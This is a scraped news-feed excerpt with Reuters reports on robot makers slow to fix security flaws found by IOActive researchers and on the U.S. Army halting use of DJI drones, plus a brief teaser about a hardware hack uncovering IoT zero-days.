“These robots don’t use bullets or explosives, but microphones, cameras, arms and legs. The difference is that they will be soon around us and we need to secure them now before it’s too late.”

Some of the robot manufacturers defended themselves, saying they had fixed some or all of the issues raised.

Apa’s comments come in the wake of a letter signed by more than 100 leading robotic experts urging the United Nations to ban the development of killer military robots, or autonomous weapons.

Apa, a senior security consultant, said that of the six manufacturers contacted, only one, Rethink Robotics, said some of the problems had been fixed. He said he had not been able to confirm that as his team does not have access to that particular robot.

A spokesman for Rethink Robotics, which makes the Baxter and Sawyer assembly-line robots, said all but two issues – in the education and research versions of its robots – had been fixed.

Apa said a review of updates from the other five manufacturers – Universal Robots of Denmark, SoftBank Robotics and Asratec Corp of Japan, Ubtech of China, and Robotis Inc of South Korea – led him to believe none of the issues he had raised had been fixed.

Asratec said that software released for its robots so far was limited to “hobby use sample programs”, and it believed IOActive was pointing to security vulnerabilities in those. Software it planned to release for commercial use would be different, it said.

SoftBank Robotics said it had already identified the vulnerabilities and fixed them. Ubtech said it had “fully addressed any concerns raised by IoActive that do not limit our developers from programming” their robots.

Universal Robots did not respond to emailed requests for comment. Robotis Inc declined to comment.

The slow reaction by the robot industry was not surprising, said Joshua Ziering, founder of Kittyhawk.io, a commercial drone software company. “A new technology bursts on to the market and people fail to secure it,” he said.

Alarming threat

Cybersecurity experts said the robot vulnerabilities were alarming, and cyber criminals could use them to disrupt factories by ransomware attacks, or with robots slowed down or forced to embed flaws in the products they are programmed to build.

“The potential impact to companies, and even countries, could be massive,” said Nathan Wenzler, chief security strategist at AsTech, a San Francisco-based security consulting company, “should an attacker exploit the vulnerability within the applications that control these robots.”

Even in the home, danger lurks, said Apa, demonstrating how a 17-inch (43.18 cm) tall Alpha 2 robot from Ubtech could be programmed to violently jab a screwdriver.

“Maybe it’s small and it’s not really going to hurt right now, but the trend is that the robots are going to be more powerful,” he said. “We tested industrial ones which are really heavy and powerful, and some of the attacks work with them.”

Apa and Cerrudo released their initial findings in January.

This week, they released details about the specific vulnerabilities they found, including one case where they mix several of those vulnerabilities together to hijack a Universal Robot factory robot, making it lurch about and be a potential threat.

(Reporting by Jeremy Wagstaff in SINGAPORE, with additional reporting by Ritsuko Ando in TOKYO, Haejin Choi in SEOUL and Sijia Jiang in HONG KONG; Editing by Ian Geoghegan and Raju Gopalakrishnan)

VentureBeat

]]> https://briefnews.eu/robot-makers-slow-to-fix-vulnerabilities-that-could-allow-hackers-to-spy-and-disable-safety-features/feed/ 0 U.S. Army halts use of DJI drones due to concerns over ‘cyber vulnerabilities’ https://briefnews.eu/u-s-army-halts-use-of-dji-drones-due-to-concerns-over-cyber-vulnerabilities/ https://briefnews.eu/u-s-army-halts-use-of-dji-drones-due-to-concerns-over-cyber-vulnerabilities/#respond Tue, 08 Aug 2017 08:49:53 +0000 http://briefnews.eu/u-s-army-halts-use-of-dji-drones-due-to-concerns-over-cyber-vulnerabilities/ DJI drone

(Reuters) — The U.S. Army has ordered its members to stop using drones made by Chinese manufacturer DJI because of “cyber vulnerabilities” in the products.

An Aug. 2 Army memo posted by sUAS News and verified by Reuters applies to all DJI drones and systems that use DJI components or software. It requires service members to “cease all use, uninstall all DJI applications, remove all batteries/storage media and secure equipment for follow-on direction.”

The memo says DJI drones are the most widely used by the Army among off-the-shelf equipment of that type.

DJI said in a statement that it was “surprised and disappointed” at the Army’s “unprompted restriction on DJI drones as we were not consulted during their decision.”

The privately held company said it would contact the Army to determine what it means by “cyber vulnerabilities” and was willing to work with the Pentagon to address concerns.

Analysts at Goldman Sachs and Oppenheimer estimated in 2016 that DJI had about 70 percent share of the global commercial and consumer drone market. Goldman analysts estimated the market, including military, to be worth more than $ 100 billion over the next five years.

The Army was considering issuing a statement about the policy, said Army spokesman Dov Schwartz.

The move appears to follow studies conducted by the Army Research Laboratory and the Navy that said there were risks and vulnerabilities in DJI products.

The memo cites a classified Army Research Laboratory report and a Navy memo, both from May as references for the order to cease use of DJI drones and related equipment.

(Reporting by Alwyn Scott; Editing by Lisa Shumaker)

VentureBeat

]]> https://briefnews.eu/u-s-army-halts-use-of-dji-drones-due-to-concerns-over-cyber-vulnerabilities/feed/ 0 A $10 Hardware Hack Turns Up Zero Day Vulnerabilities in IoT Devices https://briefnews.eu/a-10-hardware-hack-turns-up-zero-day-vulnerabilities-in-iot-devices/ https://briefnews.eu/a-10-hardware-hack-turns-up-zero-day-vulnerabilities-in-iot-devices/#respond Sat, 29 Jul 2017 22:47:49 +0000 http://briefnews.eu/a-10-hardware-hack-turns-up-zero-day-vulnerabilities-in-iot-devices/ Using an SD card reader and some soldering savvy, these hackers rooted out a ton of IoT zero days.


https://media.wired.com/photos/597bc405f338d42af78609b1/master/pass/CardReaderHack-90822920.jpg
Feed: All Latest

]]> https://briefnews.eu/a-10-hardware-hack-turns-up-zero-day-vulnerabilities-in-iot-devices/feed/ 0